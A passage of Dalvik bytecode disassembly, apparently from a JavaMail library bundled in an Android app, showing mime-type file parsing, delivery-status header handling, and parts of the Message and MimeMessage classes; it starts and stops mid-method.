0000007C  goto                    :20
:7E
0000007E  invoke-direct           MimeTypeFile->parseEntry(String)V, p0, v0
00000084  move-object             v1, v2
00000086  goto                    :4
.end method

.method private parseEntry(String)V
          .registers 10
00000000  const/4                 v1, 0x0
00000002  invoke-virtual          String->trim()String, p1
00000008  move-result-object      v3
0000000A  invoke-virtual          String->length()I, v3
00000010  move-result             v0
00000012  if-nez                  v0, :18
:16
00000016  return-void
:18
00000018  const/4                 v0, 0x0
0000001A  invoke-virtual          String->charAt(I)C, v3, v0
00000020  move-result             v0
00000022  const/16                v2, 0x23
00000026  if-eq                   v0, v2, :16
:2A
0000002A  const/16                v0, 0x3D
0000002E  invoke-virtual          String->indexOf(I)I, v3, v0
00000034  move-result             v0
00000036  if-lez                  v0, :15C
:3A
0000003A  new-instance            v4, LineTokenizer
0000003E  invoke-direct           LineTokenizer-><init>(String)V, v4, v3
00000044  move-object             v0, v1
:46
00000046  invoke-virtual          LineTokenizer->hasMoreTokens()Z, v4
0000004C  move-result             v2
0000004E  if-eqz                  v2, :16
:52
00000052  invoke-virtual          LineTokenizer->nextToken()String, v4
00000058  move-result-object      v5
0000005A  invoke-virtual          LineTokenizer->hasMoreTokens()Z, v4
00000060  move-result             v2
00000062  if-eqz                  v2, :1DC
:66
00000066  invoke-virtual          LineTokenizer->nextToken()String, v4
0000006C  move-result-object      v2
0000006E  const-string            v6, "="
00000072  invoke-virtual          String->equals(Object)Z, v2, v6
00000078  move-result             v2
0000007A  if-eqz                  v2, :1DC
:7E
0000007E  invoke-virtual          LineTokenizer->hasMoreTokens()Z, v4
00000084  move-result             v2
00000086  if-eqz                  v2, :1DC
:8A
0000008A  invoke-virtual          LineTokenizer->nextToken()String, v4
00000090  move-result-object      v2
:92
00000092  if-nez                  v2, :C8
:96
00000096  invoke-static           LogSupport->isLoggable()Z
0000009C  move-result             v0
0000009E  if-eqz                  v0, :16
:A2
000000A2  new-instance            v0, StringBuilder
000000A6  const-string            v1, "Bad .mime.types entry: "
000000AA  invoke-direct           StringBuilder-><init>(String)V, v0, v1
000000B0  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v3
000000B6  move-result-object      v0
000000B8  invoke-virtual          StringBuilder->toString()String, v0
000000BE  move-result-object      v0
000000C0  invoke-static           LogSupport->log(String)V, v0
000000C6  goto                    :16
:C8
000000C8  const-string            v6, "type"
000000CC  invoke-virtual          String->equals(Object)Z, v5, v6
000000D2  move-result             v6
000000D4  if-eqz                  v6, :DC
:D8
000000D8  move-object             v0, v2
000000DA  goto                    :46
:DC
000000DC  const-string            v6, "exts"
000000E0  invoke-virtual          String->equals(Object)Z, v5, v6
000000E6  move-result             v5
000000E8  if-eqz                  v5, :46
:EC
000000EC  new-instance            v5, StringTokenizer
000000F0  const-string            v6, ","
000000F4  invoke-direct           StringTokenizer-><init>(String, String)V, v5, v2, v6
:FA
000000FA  invoke-virtual          StringTokenizer->hasMoreTokens()Z, v5
00000100  move-result             v2
00000102  if-eqz                  v2, :46
:106
00000106  invoke-virtual          StringTokenizer->nextToken()String, v5
0000010C  move-result-object      v2
0000010E  new-instance            v6, MimeTypeEntry
00000112  invoke-direct           MimeTypeEntry-><init>(String, String)V, v6, v0, v2
00000118  iget-object             v7, p0, MimeTypeFile->type_hash:Hashtable
0000011C  invoke-virtual          Hashtable->put(Object, Object)Object, v7, v2, v6
00000122  invoke-static           LogSupport->isLoggable()Z
00000128  move-result             v2
0000012A  if-eqz                  v2, :FA
:12E
0000012E  new-instance            v2, StringBuilder
00000132  const-string            v7, "Added: "
00000136  invoke-direct           StringBuilder-><init>(String)V, v2, v7
0000013C  invoke-virtual          MimeTypeEntry->toString()String, v6
00000142  move-result-object      v6
00000144  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v6
0000014A  move-result-object      v2
0000014C  invoke-virtual          StringBuilder->toString()String, v2
00000152  move-result-object      v2
00000154  invoke-static           LogSupport->log(String)V, v2
0000015A  goto                    :FA
:15C
0000015C  new-instance            v0, StringTokenizer
00000160  invoke-direct           StringTokenizer-><init>(String)V, v0, v3
00000166  invoke-virtual          StringTokenizer->countTokens()I, v0
0000016C  move-result             v1
0000016E  if-eqz                  v1, :16
:172
00000172  invoke-virtual          StringTokenizer->nextToken()String, v0
00000178  move-result-object      v1
:17A
0000017A  invoke-virtual          StringTokenizer->hasMoreTokens()Z, v0
00000180  move-result             v2
00000182  if-eqz                  v2, :16
:186
00000186  invoke-virtual          StringTokenizer->nextToken()String, v0
0000018C  move-result-object      v2
0000018E  new-instance            v3, MimeTypeEntry
00000192  invoke-direct           MimeTypeEntry-><init>(String, String)V, v3, v1, v2
00000198  iget-object             v4, p0, MimeTypeFile->type_hash:Hashtable
0000019C  invoke-virtual          Hashtable->put(Object, Object)Object, v4, v2, v3
000001A2  invoke-static           LogSupport->isLoggable()Z
000001A8  move-result             v2
000001AA  if-eqz                  v2, :17A
:1AE
000001AE  new-instance            v2, StringBuilder
000001B2  const-string            v4, "Added: "
000001B6  invoke-direct           StringBuilder-><init>(String)V, v2, v4
000001BC  invoke-virtual          MimeTypeEntry->toString()String, v3
000001C2  move-result-object      v3
000001C4  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
000001CA  move-result-object      v2
000001CC  invoke-virtual          StringBuilder->toString()String, v2
000001D2  move-result-object      v2
000001D4  invoke-static           LogSupport->log(String)V, v2
000001DA  goto                    :17A
:1DC
000001DC  move-object             v2, v1
000001DE  goto/16                 :92
.end method

.method public appendToRegistry(String)V
          .registers 4
00000000  new-instance            v0, BufferedReader
00000004  new-instance            v1, StringReader
00000008  invoke-direct           StringReader-><init>(String)V, v1, p1
0000000E  invoke-direct           BufferedReader-><init>(Reader)V, v0, v1
00000014  invoke-direct           MimeTypeFile->parse(BufferedReader)V, p0, v0
:1A
0000001A  return-void
:1C
0000001C  move-exception          v0
0000001E  goto                    :1A
          .catch IOException {:0 .. :1A} :1C
.end method

.method public getMIMETypeString(String)String
          .registers 3
00000000  invoke-virtual          MimeTypeFile->getMimeTypeEntry(String)MimeTypeEntry, p0, p1
00000006  move-result-object      v0
00000008  if-eqz                  v0, :16
:C
0000000C  invoke-virtual          MimeTypeEntry->getMIMEType()String, v0
00000012  move-result-object      v0
:14
00000014  return-object           v0
:16
00000016  const/4                 v0, 0x0
00000018  goto                    :14
.end method

.method public getMimeTypeEntry(String)MimeTypeEntry
          .registers 3
00000000  iget-object             v0, p0, MimeTypeFile->type_hash:Hashtable
00000004  invoke-virtual          Hashtable->get(Object)Object, v0, p1
0000000A  move-result-object      v0
0000000C  check-cast              v0, MimeTypeEntry
00000010  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class public DeliveryStatus
.super Object
.source ""

.field private static debug:Z
.field protected messageDSN:InternetHeaders
.field protected recipientDSN:[InternetHeaders

.method static constructor <clinit>()V
          .registers 3
00000000  const/4                 v0, 0x0
00000002  sput-boolean            v0, DeliveryStatus->debug:Z
:6
00000006  const-string            v1, "mail.dsn.debug"
0000000A  invoke-static           System->getProperty(String)String, v1
00000010  move-result-object      v1
00000012  if-eqz                  v1, :28
:16
00000016  const-string            v2, "false"
0000001A  invoke-virtual          String->equalsIgnoreCase(String)Z, v1, v2
00000020  move-result             v1
00000022  if-nez                  v1, :28
:26
00000026  const/4                 v0, 0x1
:28
00000028  sput-boolean            v0, DeliveryStatus->debug:Z
:2C
0000002C  return-void
:2E
0000002E  move-exception          v0
00000030  goto                    :2C
          .catch SecurityException {:6 .. :2C} :2E
.end method

.method public constructor <init>()V
          .registers 2
00000000  invoke-direct           Object-><init>()V, p0
00000006  new-instance            v0, InternetHeaders
0000000A  invoke-direct           InternetHeaders-><init>()V, v0
00000010  iput-object             v0, p0, DeliveryStatus->messageDSN:InternetHeaders
00000014  const/4                 v0, 0x0
00000016  new-array               v0, v0, [InternetHeaders
0000001A  iput-object             v0, p0, DeliveryStatus->recipientDSN:[InternetHeaders
0000001E  return-void
.end method

.method public constructor <init>(InputStream)V
          .registers 6
00000000  invoke-direct           Object-><init>()V, p0
00000006  new-instance            v0, InternetHeaders
0000000A  invoke-direct           InternetHeaders-><init>(InputStream)V, v0, p1
00000010  iput-object             v0, p0, DeliveryStatus->messageDSN:InternetHeaders
00000014  sget-boolean            v0, DeliveryStatus->debug:Z
00000018  if-eqz                  v0, :2A
:1C
0000001C  sget-object             v0, System->out:PrintStream
00000020  const-string            v1, "DSN: got messageDSN"
00000024  invoke-virtual          PrintStream->println(String)V, v0, v1
:2A
0000002A  new-instance            v0, Vector
0000002E  invoke-direct           Vector-><init>()V, v0
:34
00000034  invoke-virtual          InputStream->available()I, p1
:3A
0000003A  move-result             v1
0000003C  if-gtz                  v1, :94
:40
00000040  sget-boolean            v1, DeliveryStatus->debug:Z
00000044  if-eqz                  v1, :78
:48
00000048  sget-object             v1, System->out:PrintStream
0000004C  new-instance            v2, StringBuilder
00000050  const-string            v3, "DSN: recipientDSN size "
00000054  invoke-direct           StringBuilder-><init>(String)V, v2, v3
0000005A  invoke-virtual          Vector->size()I, v0
00000060  move-result             v3
00000062  invoke-virtual          StringBuilder->append(I)StringBuilder, v2, v3
00000068  move-result-object      v2
0000006A  invoke-virtual          StringBuilder->toString()String, v2
00000070  move-result-object      v2
00000072  invoke-virtual          PrintStream->println(String)V, v1, v2
:78
00000078  invoke-virtual          Vector->size()I, v0
0000007E  move-result             v1
00000080  new-array               v1, v1, [InternetHeaders
00000084  iput-object             v1, p0, DeliveryStatus->recipientDSN:[InternetHeaders
00000088  iget-object             v1, p0, DeliveryStatus->recipientDSN:[InternetHeaders
0000008C  invoke-virtual          Vector->copyInto([Object)V, v0, v1
00000092  return-void
:94
00000094  new-instance            v1, InternetHeaders
00000098  invoke-direct           InternetHeaders-><init>(InputStream)V, v1, p1
0000009E  sget-boolean            v2, DeliveryStatus->debug:Z
000000A2  if-eqz                  v2, :B4
:A6
000000A6  sget-object             v2, System->out:PrintStream
000000AA  const-string            v3, "DSN: got recipientDSN"
000000AE  invoke-virtual          PrintStream->println(String)V, v2, v3
:B4
000000B4  invoke-virtual          Vector->addElement(Object)V, v0, v1
:BA
000000BA  goto                    :34
:BC
000000BC  move-exception          v1
000000BE  sget-boolean            v1, DeliveryStatus->debug:Z
000000C2  if-eqz                  v1, :40
:C6
000000C6  sget-object             v1, System->out:PrintStream
000000CA  const-string            v2, "DSN: got EOFException"
000000CE  invoke-virtual          PrintStream->println(String)V, v1, v2
000000D4  goto                    :40
          .catch EOFException {:34 .. :3A} :BC
          .catch EOFException {:94 .. :BA} :BC
.end method

.method private static writeInternetHeaders(InternetHeaders, LineOutputStream)V
          .registers 6
00000000  invoke-virtual          InternetHeaders->getAllHeaderLines()Enumeration, p0
00000006  move-result-object      v1
:8
00000008  invoke-interface        Enumeration->hasMoreElements()Z, v1
0000000E  move-result             v0
00000010  if-nez                  v0, :16
:14
00000014  return-void
:16
00000016  invoke-interface        Enumeration->nextElement()Object, v1
0000001C  move-result-object      v0
0000001E  check-cast              v0, String
00000022  invoke-virtual          LineOutputStream->writeln(String)V, p1, v0
:28
00000028  goto                    :8
:2A
0000002A  move-exception          v0
0000002C  move-object             v1, v0
0000002E  invoke-virtual          MessagingException->getNextException()Exception, v1
00000034  move-result-object      v0
00000036  instance-of             v2, v0, IOException
0000003A  if-eqz                  v2, :44
:3E
0000003E  check-cast              v0, IOException
00000042  throw                   v0
:44
00000044  new-instance            v0, IOException
00000048  new-instance            v2, StringBuilder
0000004C  const-string            v3, "Exception writing headers: "
00000050  invoke-direct           StringBuilder-><init>(String)V, v2, v3
00000056  invoke-virtual          StringBuilder->append(Object)StringBuilder, v2, v1
0000005C  move-result-object      v1
0000005E  invoke-virtual          StringBuilder->toString()String, v1
00000064  move-result-object      v1
00000066  invoke-direct           IOException-><init>(String)V, v0, v1
0000006C  throw                   v0
          .catch MessagingException {:8 .. :28} :2A
.end method

.method public addRecipientDSN(InternetHeaders)V
          .registers 6
00000000  const/4                 v3, 0x0
00000002  iget-object             v0, p0, DeliveryStatus->recipientDSN:[InternetHeaders
00000006  array-length            v0, v0
00000008  add-int/lit8            v0, v0, 0x1
0000000C  new-array               v0, v0, [InternetHeaders
00000010  iget-object             v1, p0, DeliveryStatus->recipientDSN:[InternetHeaders
00000014  iget-object             v2, p0, DeliveryStatus->recipientDSN:[InternetHeaders
00000018  array-length            v2, v2
0000001A  invoke-static           System->arraycopy(Object, I, Object, I, I)V, v1, v3, v0, v3, v2
00000020  iput-object             v0, p0, DeliveryStatus->recipientDSN:[InternetHeaders
00000024  iget-object             v0, p0, DeliveryStatus->recipientDSN:[InternetHeaders
00000028  iget-object             v1, p0, DeliveryStatus->recipientDSN:[InternetHeaders
0000002C  array-length            v1, v1
0000002E  add-int/lit8            v1, v1, 0xFFFFFFFFFFFFFFFF
00000032  aput-object             p1, v0, v1
00000036  return-void
.end method

.method public getMessageDSN()InternetHeaders
          .registers 2
00000000  iget-object             v0, p0, DeliveryStatus->messageDSN:InternetHeaders
00000004  return-object           v0
.end method

.method public getRecipientDSN(I)InternetHeaders
          .registers 3
00000000  iget-object             v0, p0, DeliveryStatus->recipientDSN:[InternetHeaders
00000004  aget-object             v0, v0, p1
00000008  return-object           v0
.end method

.method public getRecipientDSNCount()I
          .registers 2
00000000  iget-object             v0, p0, DeliveryStatus->recipientDSN:[InternetHeaders
00000004  array-length            v0, v0
00000006  return                  v0
.end method

.method public setMessageDSN(InternetHeaders)V
          .registers 2
00000000  iput-object             p1, p0, DeliveryStatus->messageDSN:InternetHeaders
00000004  return-void
.end method

.method public toString()String
          .registers 5
00000000  new-instance            v0, StringBuilder
00000004  const-string            v1, "DeliveryStatus: Reporting-MTA="
00000008  invoke-direct           StringBuilder-><init>(String)V, v0, v1
0000000E  iget-object             v1, p0, DeliveryStatus->messageDSN:InternetHeaders
00000012  const-string            v2, "Reporting-MTA"
00000016  const/4                 v3, 0x0
00000018  invoke-virtual          InternetHeaders->getHeader(String, String)String, v1, v2, v3
0000001E  move-result-object      v1
00000020  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000026  move-result-object      v0
00000028  const-string            v1, ", #Recipients="
0000002C  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000032  move-result-object      v0
00000034  iget-object             v1, p0, DeliveryStatus->recipientDSN:[InternetHeaders
00000038  array-length            v1, v1
0000003A  invoke-virtual          StringBuilder->append(I)StringBuilder, v0, v1
00000040  move-result-object      v0
00000042  invoke-virtual          StringBuilder->toString()String, v0
00000048  move-result-object      v0
0000004A  return-object           v0
.end method

.method public writeTo(OutputStream)V
          .registers 4
00000000  instance-of             v0, p1, LineOutputStream
00000004  if-eqz                  v0, :2A
:8
00000008  check-cast              p1, LineOutputStream
:C
0000000C  iget-object             v0, p0, DeliveryStatus->messageDSN:InternetHeaders
00000010  invoke-static           DeliveryStatus->writeInternetHeaders(InternetHeaders, LineOutputStream)V, v0, p1
00000016  invoke-virtual          LineOutputStream->writeln()V, p1
0000001C  const/4                 v0, 0x0
:1E
0000001E  iget-object             v1, p0, DeliveryStatus->recipientDSN:[InternetHeaders
00000022  array-length            v1, v1
00000024  if-lt                   v0, v1, :38
:28
00000028  return-void
:2A
0000002A  new-instance            v0, LineOutputStream
0000002E  invoke-direct           LineOutputStream-><init>(OutputStream)V, v0, p1
00000034  move-object             p1, v0
00000036  goto                    :C
:38
00000038  iget-object             v1, p0, DeliveryStatus->recipientDSN:[InternetHeaders
0000003C  aget-object             v1, v1, v0
00000040  invoke-static           DeliveryStatus->writeInternetHeaders(InternetHeaders, LineOutputStream)V, v1, p1
00000046  invoke-virtual          LineOutputStream->writeln()V, p1
0000004C  add-int/lit8            v0, v0, 0x1
00000050  goto                    :1E
.end method

#--------------------------------------------------------------------------------
.class public abstract interface Part
.super Object
.source ""

.field public static final ATTACHMENT:String = "attachment"
.field public static final INLINE:String = "inline"

.method public abstract addHeader(String, String)V
.end method

.method public abstract getAllHeaders()Enumeration
.end method

.method public abstract getContent()Object
.end method

.method public abstract getContentType()String
.end method

.method public abstract getDataHandler()DataHandler
.end method

.method public abstract getDescription()String
.end method

.method public abstract getDisposition()String
.end method

.method public abstract getFileName()String
.end method

.method public abstract getHeader(String)[String
.end method

.method public abstract getInputStream()InputStream
.end method

.method public abstract getLineCount()I
.end method

.method public abstract getMatchingHeaders([String)Enumeration
.end method

.method public abstract getNonMatchingHeaders([String)Enumeration
.end method

.method public abstract getSize()I
.end method

.method public abstract isMimeType(String)Z
.end method

.method public abstract removeHeader(String)V
.end method

.method public abstract setContent(Object, String)V
.end method

.method public abstract setContent(Multipart)V
.end method

.method public abstract setDataHandler(DataHandler)V
.end method

.method public abstract setDescription(String)V
.end method

.method public abstract setDisposition(String)V
.end method

.method public abstract setFileName(String)V
.end method

.method public abstract setHeader(String, String)V
.end method

.method public abstract setText(String)V
.end method

.method public abstract writeTo(OutputStream)V
.end method

#--------------------------------------------------------------------------------
.class public abstract Message
.super Object
.source ""

.implements Part

.field protected expunged:Z
.field protected folder:Folder
.field protected msgnum:I
.field protected session:Session

.method protected constructor <init>()V
          .registers 3
00000000  const/4                 v1, 0x0
00000002  const/4                 v0, 0x0
00000004  invoke-direct           Object-><init>()V, p0
0000000A  iput                    v0, p0, Message->msgnum:I
0000000E  iput-boolean            v0, p0, Message->expunged:Z
00000012  iput-object             v1, p0, Message->folder:Folder
00000016  iput-object             v1, p0, Message->session:Session
0000001A  return-void
.end method

.method protected constructor <init>(Folder, I)V
          .registers 5
00000000  const/4                 v1, 0x0
00000002  const/4                 v0, 0x0
00000004  invoke-direct           Object-><init>()V, p0
0000000A  iput                    v0, p0, Message->msgnum:I
0000000E  iput-boolean            v0, p0, Message->expunged:Z
00000012  iput-object             v1, p0, Message->folder:Folder
00000016  iput-object             v1, p0, Message->session:Session
0000001A  iput-object             p1, p0, Message->folder:Folder
0000001E  iput                    p2, p0, Message->msgnum:I
00000022  iget-object             v0, p1, Folder->store:Store
00000026  iget-object             v0, v0, Store->session:Session
0000002A  iput-object             v0, p0, Message->session:Session
0000002E  return-void
.end method

.method protected constructor <init>(Session)V
          .registers 4
00000000  const/4                 v1, 0x0
00000002  const/4                 v0, 0x0
00000004  invoke-direct           Object-><init>()V, p0
0000000A  iput                    v0, p0, Message->msgnum:I
0000000E  iput-boolean            v0, p0, Message->expunged:Z
00000012  iput-object             v1, p0, Message->folder:Folder
00000016  iput-object             v1, p0, Message->session:Session
0000001A  iput-object             p1, p0, Message->session:Session
0000001E  return-void
.end method

.method public abstract addFrom([Address)V
.end method

.method public addRecipient(Message$RecipientType, Address)V
          .registers 5
00000000  const/4                 v0, 0x1
00000002  new-array               v0, v0, [Address
00000006  const/4                 v1, 0x0
00000008  aput-object             p2, v0, v1
0000000C  invoke-virtual          Message->addRecipients(Message$RecipientType, [Address)V, p0, p1, v0
00000012  return-void
.end method

.method public abstract addRecipients(Message$RecipientType, [Address)V
.end method

.method public getAllRecipients()[Address
          .registers 7
00000000  const/4                 v1, 0x0
00000002  sget-object             v0, Message$RecipientType->TO:Message$RecipientType
00000006  invoke-virtual          Message->getRecipients(Message$RecipientType)[Address, p0, v0
0000000C  move-result-object      v2
0000000E  sget-object             v0, Message$RecipientType->CC:Message$RecipientType
00000012  invoke-virtual          Message->getRecipients(Message$RecipientType)[Address, p0, v0
00000018  move-result-object      v4
0000001A  sget-object             v0, Message$RecipientType->BCC:Message$RecipientType
0000001E  invoke-virtual          Message->getRecipients(Message$RecipientType)[Address, p0, v0
00000024  move-result-object      v5
00000026  if-nez                  v4, :32
:2A
0000002A  if-nez                  v5, :32
:2E
0000002E  move-object             v0, v2
:30
00000030  return-object           v0
:32
00000032  if-eqz                  v2, :80
:36
00000036  array-length            v0, v2
00000038  move                    v3, v0
:3A
0000003A  if-eqz                  v4, :84
:3E
0000003E  array-length            v0, v4
:40
00000040  add-int/2addr           v3, v0
00000042  if-eqz                  v5, :88
:46
00000046  array-length            v0, v5
:48
00000048  add-int/2addr           v0, v3
0000004A  new-array               v0, v0, [Address
0000004E  if-eqz                  v2, :8C
:52
00000052  array-length            v3, v2
00000054  invoke-static           System->arraycopy(Object, I, Object, I, I)V, v2, v1, v0, v1, v3
0000005A  array-length            v2, v2
0000005C  add-int/2addr           v2, v1
:5E
0000005E  if-eqz                  v4, :6E
:62
00000062  array-length            v3, v4
00000064  invoke-static           System->arraycopy(Object, I, Object, I, I)V, v4, v1, v0, v2, v3
0000006A  array-length            v3, v4
0000006C  add-int/2addr           v2, v3
:6E
0000006E  if-eqz                  v5, :30
:72
00000072  array-length            v3, v5
00000074  invoke-static           System->arraycopy(Object, I, Object, I, I)V, v5, v1, v0, v2, v3
0000007A  array-length            v1, v5
0000007C  add-int/2addr           v1, v2
0000007E  goto                    :30
:80
00000080  move                    v3, v1
00000082  goto                    :3A
:84
00000084  move                    v0, v1
00000086  goto                    :40
:88
00000088  move                    v0, v1
0000008A  goto                    :48
:8C
0000008C  move                    v2, v1
0000008E  goto                    :5E
.end method

.method public abstract getFlags()Flags
.end method

.method public getFolder()Folder
          .registers 2
00000000  iget-object             v0, p0, Message->folder:Folder
00000004  return-object           v0
.end method

.method public abstract getFrom()[Address
.end method

.method public getMessageNumber()I
          .registers 2
00000000  iget                    v0, p0, Message->msgnum:I
00000004  return                  v0
.end method

.method public abstract getReceivedDate()Date
.end method

.method public abstract getRecipients(Message$RecipientType)[Address
.end method

.method public getReplyTo()[Address
          .registers 2
00000000  invoke-virtual          Message->getFrom()[Address, p0
00000006  move-result-object      v0
00000008  return-object           v0
.end method

.method public abstract getSentDate()Date
.end method

.method public abstract getSubject()String
.end method

.method public isExpunged()Z
          .registers 2
00000000  iget-boolean            v0, p0, Message->expunged:Z
00000004  return                  v0
.end method

.method public isSet(Flags$Flag)Z
          .registers 3
00000000  invoke-virtual          Message->getFlags()Flags, p0
00000006  move-result-object      v0
00000008  invoke-virtual          Flags->contains(Flags$Flag)Z, v0, p1
0000000E  move-result             v0
00000010  return                  v0
.end method

.method public match(SearchTerm)Z
          .registers 3
00000000  invoke-virtual          SearchTerm->match(Message)Z, p1, p0
00000006  move-result             v0
00000008  return                  v0
.end method

.method public abstract reply(Z)Message
.end method

.method public abstract saveChanges()V
.end method

.method protected setExpunged(Z)V
          .registers 2
00000000  iput-boolean            p1, p0, Message->expunged:Z
00000004  return-void
.end method

.method public setFlag(Flags$Flag, Z)V
          .registers 4
00000000  new-instance            v0, Flags
00000004  invoke-direct           Flags-><init>(Flags$Flag)V, v0, p1
0000000A  invoke-virtual          Message->setFlags(Flags, Z)V, p0, v0, p2
00000010  return-void
.end method

.method public abstract setFlags(Flags, Z)V
.end method

.method public abstract setFrom()V
.end method

.method public abstract setFrom(Address)V
.end method

.method protected setMessageNumber(I)V
          .registers 2
00000000  iput                    p1, p0, Message->msgnum:I
00000004  return-void
.end method

.method public setRecipient(Message$RecipientType, Address)V
          .registers 5
00000000  const/4                 v0, 0x1
00000002  new-array               v0, v0, [Address
00000006  const/4                 v1, 0x0
00000008  aput-object             p2, v0, v1
0000000C  invoke-virtual          Message->setRecipients(Message$RecipientType, [Address)V, p0, p1, v0
00000012  return-void
.end method

.method public abstract setRecipients(Message$RecipientType, [Address)V
.end method

.method public setReplyTo([Address)V
          .registers 4
00000000  new-instance            v0, MethodNotSupportedException
00000004  const-string            v1, "setReplyTo not supported"
00000008  invoke-direct           MethodNotSupportedException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public abstract setSentDate(Date)V
.end method

.method public abstract setSubject(String)V
.end method

#--------------------------------------------------------------------------------
.class public abstract interface MimePart
.super Object
.source ""

.implements Part

.method public abstract addHeaderLine(String)V
.end method

.method public abstract getAllHeaderLines()Enumeration
.end method

.method public abstract getContentID()String
.end method

.method public abstract getContentLanguage()[String
.end method

.method public abstract getContentMD5()String
.end method

.method public abstract getEncoding()String
.end method

.method public abstract getHeader(String, String)String
.end method

.method public abstract getMatchingHeaderLines([String)Enumeration
.end method

.method public abstract getNonMatchingHeaderLines([String)Enumeration
.end method

.method public abstract setContentLanguage([String)V
.end method

.method public abstract setContentMD5(String)V
.end method

.method public abstract setText(String)V
.end method

.method public abstract setText(String, String)V
.end method

.method public abstract setText(String, String, String)V
.end method

#--------------------------------------------------------------------------------
.class public MimeMessage
.super Message
.source ""

.implements MimePart

.field private static final answeredFlag:Flags
.field private static mailDateFormat:MailDateFormat
.field cachedContent:Object
.field protected content:[B
.field protected contentStream:InputStream
.field protected dh:DataHandler
.field protected flags:Flags
.field protected headers:InternetHeaders
.field protected modified:Z
.field protected saved:Z
.field private strict:Z

.method static constructor <clinit>()V
          .registers 2
00000000  new-instance            v0, MailDateFormat
00000004  invoke-direct           MailDateFormat-><init>()V, v0
0000000A  sput-object             v0, MimeMessage->mailDateFormat:MailDateFormat
0000000E  new-instance            v0, Flags
00000012  sget-object             v1, Flags$Flag->ANSWERED:Flags$Flag
00000016  invoke-direct           Flags-><init>(Flags$Flag)V, v0, v1
0000001C  sput-object             v0, MimeMessage->answeredFlag:Flags
00000020  return-void
.end method

.method protected constructor <init>(Folder, I)V
          .registers 5
00000000  const/4                 v1, 0x1
00000002  const/4                 v0, 0x0
00000004  invoke-direct           Message-><init>(Folder, I)V, p0, p1, p2
0000000A  iput-boolean            v0, p0, MimeMessage->modified:Z
0000000E  iput-boolean            v0, p0, MimeMessage->saved:Z
00000012  iput-boolean            v1, p0, MimeMessage->strict:Z
00000016  new-instance            v0, Flags
0000001A  invoke-direct           Flags-><init>()V, v0
00000020  iput-object             v0, p0, MimeMessage->flags:Flags
00000024  iput-boolean            v1, p0, MimeMessage->saved:Z
00000028  invoke-direct           MimeMessage->initStrict()V, p0
0000002E  return-void
.end method

.method protected constructor <init>(Folder, InputStream, I)V
          .registers 4
00000000  invoke-direct           MimeMessage-><init>(Folder, I)V, p0, p1, p3
00000006  invoke-direct           MimeMessage->initStrict()V, p0
0000000C  invoke-virtual          MimeMessage->parse(InputStream)V, p0, p2
00000012  return-void
.end method

.method protected constructor <init>(Folder, InternetHeaders, [B, I)V
          .registers 5
00000000  invoke-direct           MimeMessage-><init>(Folder, I)V, p0, p1, p4
00000006  iput-object             p2, p0, MimeMessage->headers:InternetHeaders
0000000A  iput-object             p3, p0, MimeMessage->content:[B
0000000E  invoke-direct           MimeMessage->initStrict()V, p0
00000014  return-void
.end method

.method public constructor <init>(Session)V
          .registers 4
00000000  const/4                 v1, 0x1
00000002  const/4                 v0, 0x0
00000004  invoke-direct           Message-><init>(Session)V, p0, p1
0000000A  iput-boolean            v0, p0, MimeMessage->modified:Z
0000000E  iput-boolean            v0, p0, MimeMessage->saved:Z
00000012  iput-boolean            v1, p0, MimeMessage->strict:Z
00000016  iput-boolean            v1, p0, MimeMessage->modified:Z
0000001A  new-instance            v0, InternetHeaders
0000001E  invoke-direct           InternetHeaders-><init>()V, v0
00000024  iput-object             v0, p0, MimeMessage->headers:InternetHeaders
00000028  new-instance            v0, Flags
0000002C  invoke-direct           Flags-><init>()V, v0
00000032  iput-object             v0, p0, MimeMessage->flags:Flags
00000036  invoke-direct           MimeMessage->initStrict()V, p0
0000003C  return-void
.end method

.method public constructor <init>(Session, InputStream)V
          .registers 5
00000000  const/4                 v1, 0x1
00000002  const/4                 v0, 0x0
00000004  invoke-direct           Message-><init>(Session)V, p0, p1
0000000A  iput-boolean            v0, p0, MimeMessage->modified:Z
0000000E  iput-boolean            v0, p0, MimeMessage->saved:Z
00000012  iput-boolean            v1, p0, MimeMessage->strict:Z
00000016  new-instance            v0, Flags
0000001A  invoke-direct           Flags-><init>()V, v0
00000020  iput-object             v0, p0, MimeMessage->flags:Flags
00000024  invoke-direct           MimeMessage->initStrict()V, p0
0000002A  invoke-virtual          MimeMessage->parse(InputStream)V, p0, p2
00000030  iput-boolean            v1, p0, MimeMessage->saved:Z
00000034  return-void
.end method

.method public constructor <init>(MimeMessage)V
          .registers 5
00000000  const/4                 v2, 0x1
00000002  const/4                 v1, 0x0
00000004  iget-object             v0, p1, MimeMessage->session:Session
00000008  invoke-direct           Message-><init>(Session)V, p0, v0
0000000E  iput-boolean            v1, p0, MimeMessage->modified:Z
00000012  iput-boolean            v1, p0, MimeMessage->saved:Z
00000016  iput-boolean            v2, p0, MimeMessage->strict:Z
0000001A  invoke-virtual          MimeMessage->getFlags()Flags, p1
00000020  move-result-object      v0
00000022  iput-object             v0, p0, MimeMessage->flags:Flags
00000026  invoke-virtual          MimeMessage->getSize()I, p1
0000002C  move-result             v1
0000002E  if-lez                  v1, :76
:32
00000032  new-instance            v0, ByteArrayOutputStream
00000036  invoke-direct           ByteArrayOutputStream-><init>(I)V, v0, v1
:3C
0000003C  iget-boolean            v1, p1, MimeMessage->strict:Z
00000040  iput-boolean            v1, p0, MimeMessage->strict:Z
00000044  invoke-virtual          MimeMessage->writeTo(OutputStream)V, p1, v0
0000004A  invoke-virtual          ByteArrayOutputStream->close()V, v0
00000050  new-instance            v1, SharedByteArrayInputStream
00000054  invoke-virtual          ByteArrayOutputStream->toByteArray()[B, v0
0000005A  move-result-object      v0
0000005C  invoke-direct           SharedByteArrayInputStream-><init>([B)V, v1, v0
00000062  invoke-virtual          MimeMessage->parse(InputStream)V, p0, v1
00000068  invoke-virtual          SharedByteArrayInputStream->close()V, v1
0000006E  const/4                 v0, 0x1
00000070  iput-boolean            v0, p0, MimeMessage->saved:Z
:74
00000074  return-void
:76
00000076  new-instance            v0, ByteArrayOutputStream
0000007A  invoke-direct           ByteArrayOutputStream-><init>()V, v0
00000080  goto                    :3C
:82
00000082  move-exception          v0
00000084  new-instance            v1, MessagingException
00000088  const-string            v2, "IOException while copying message"
0000008C  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
